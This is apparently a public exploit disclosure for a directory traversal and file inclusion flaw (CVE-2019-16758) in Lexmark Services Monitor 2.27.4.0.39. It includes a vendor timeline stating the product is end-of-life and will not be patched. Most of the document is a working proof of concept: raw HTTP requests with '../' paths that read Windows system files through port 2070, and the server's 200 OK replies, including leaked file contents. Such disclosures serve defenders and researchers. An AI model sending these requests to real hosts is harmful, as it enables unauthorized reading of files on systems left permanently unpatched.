Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal

# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-15
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.lexmark.com/en_us.html
# Software Link: https://www.lexmark.com/en_us.html
# Version: 2.27.4.0.39 (Latest Version)
# Tested on: Windows Server 2012
# CVE : CVE-2019-16758


Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.

Timeline:
Discovered on: 9/24/2019
Vendor Notified: 9/24/2019
Vendor Confirmed Receipt of Vulnerability: 9/24/2019
Follow up with Vendor: 9/25/2019
Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019
Vendor Confirmed Vulnerability is Valid: 9/26/2019
Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019
Vendor Confirmed Signoff to Disclose: 9/27/2019
Final Email Sent: 9/27/2019
Public Disclosure: 11/15/2019

PoC:

GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 848536


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GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 38710

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GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 17463

# Copyright (c) 1993-2004 Microsoft Corp.
#
# This file contains port numbers for well-known services defined by IANA
#
# Format:
#
# <service name>  <port number>/<protocol>  [aliases...]   [#<comment>]
#

echo                7/tcp
echo                7/udp
discard             9/tcp    sink null
discard             9/udp    sink null
systat             11/tcp    users                  #Active users
systat             11/udp    users                  #Active users
daytime            13/tcp
daytime            13/udp
qotd               17/tcp    quote                  #Quote of the day
qotd               17/udp    quote                  #Quote of the day
chargen            19/tcp    ttytst source          #Character generator
chargen            19/udp    ttytst source          #Character generator
ftp-data           20/tcp                           #FTP, data
ftp                21/tcp                           #FTP. control
ssh                22/tcp                           #SSH Remote Login Protocol
telnet             23/tcp
smtp               25/tcp    mail                   #Simple Mail Transfer Protocol
time               37/tcp    timserver